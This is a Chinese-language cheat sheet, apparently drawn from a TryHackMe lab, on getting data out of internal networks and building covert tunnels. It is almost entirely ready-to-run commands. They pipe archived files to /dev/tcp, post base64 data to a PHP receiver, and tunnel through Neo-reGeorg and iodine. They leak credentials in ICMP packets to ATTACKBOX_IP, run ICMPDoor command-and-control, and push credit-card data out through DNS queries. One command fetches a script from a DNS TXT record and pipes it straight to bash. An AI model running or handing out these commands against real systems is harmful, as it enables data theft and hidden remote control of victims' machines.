内网数据带外传输及隧道建立 使用TCP套接字外泄数据(易被检测) 使用ssh进行渗透 使用http(s)进行渗透 建立http协议隧道 使用ICMP进行数据外泄 使用ICMP建立C2通信 通过DNS进行数据外泄 通过DNS进行c2通信 通过DNS进行隧道传输
使用TCP套接字外泄数据(易被检测)
# 在跳板机上准备监听器
nc -lvp 8080 > /tmp/task4-creds.data
# 在受害机上编码传输文件至跳板机
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# 在跳板机上执行文件恢复
dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar && tar xvf task4-creds.tar
使用ssh进行渗透
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
使用http(s)进行渗透
# 通过 HTTP/HTTPS 协议的POST请求外泄数据是最佳选择之一
# 处理上传的服务端php编码
<?php
if (isset($_POST['file'])) {$file = fopen("/tmp/http.bs64","w");fwrite($file, $_POST['file']);fclose($file);}
?>
# 将数据传回服务器
curl --data "file=$(tar zcf - task6 | base64)" # 修复并解压文件
sudo sed -i 's/ /+/g' /tmp/http.bs64 && cat /tmp/http.bs64 | base64 -d | tar xvfz -
建立http协议隧道
# Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg# 使用选定的密码生成加密的隧道客户端(攻击机运行)
python3 neoreg.py generate -k thm#将neoreg_servers下的文件上传到跳板机并运行起来# 创建http协议隧道指向跳板机
python3 neoreg.py -k thm -u http://10.10.181.169/uploader/files/tunnel.php# curl进行通信
curl --socks5 127.0.0.1:1080 http://172.20.0.121:80# 或者可以用proxyChains/foxyProxy等工具全局代理
使用ICMP进行数据外泄
ICMP 数据包的结构包含一个 Data 部分,该部分可以包含用于错误消息的其他信息的字符串或副本,例如 IPv4 标头。下图显示了“数据”部分,该部分是可选的# 使用msf进行icmp通信
## 在 MSF 中设置BPF_FILTER
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run# 从受害者发送触发值
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin2:password2"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
使用ICMP建立C2通信
# ICMPDoor
https://github.com/krabelize/icmpdoor# 在受害机上运行
sudo icmpdoor -i eth0 -d 192.168.0.133
# 在攻击机器上运行
sudo icmp-cnc -i eth1 -d 192.168.0.121
通过DNS进行数据外泄
# 将数据拆成多个DNS请求并发送
cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash# 接收端接受数据
sudo tcpdump -i eth0 udp port 53 -v
通过DNS进行c2通信
# 输出控制脚本的base64格式
cat /tmp/script.sh | base64
# 添加上条命令的输出到受害机的域解析记录中
# 检查是否添加成功
dig +short -t TXT script.tunnel.com
# 受害机执行脚本
dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
通过DNS进行隧道传输
#iodine
https://github.com/yarrick/iodine# 运行iodined服务器
sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
Opened dns0-f 参数用于在前台运行服务器。
-c 参数用于跳过检查每个 DNS 请求的客户端 IP 地址和端口。
-P 参数用于设置身份验证密码。
10.1.1.1/24 参数用于设置新网络接口 (dns0) 的网络 IP。服务器的 IP 地址为 10.1.1.1,客户端为 10.1.1.2。
att.tunnel.com 是我们之前设置的名称服务器。# 跳板机运行连接到服务器
sudo iodine -P thmpass att.tunnel.com# SSH 结束域名解析
ssh thm@10.1.1.2 -4 -f -N -D 1080# 用ssh作为连接代理(连接127.0.0.1的1080端口)
proxychains curl http://192.168.0.100/demo.php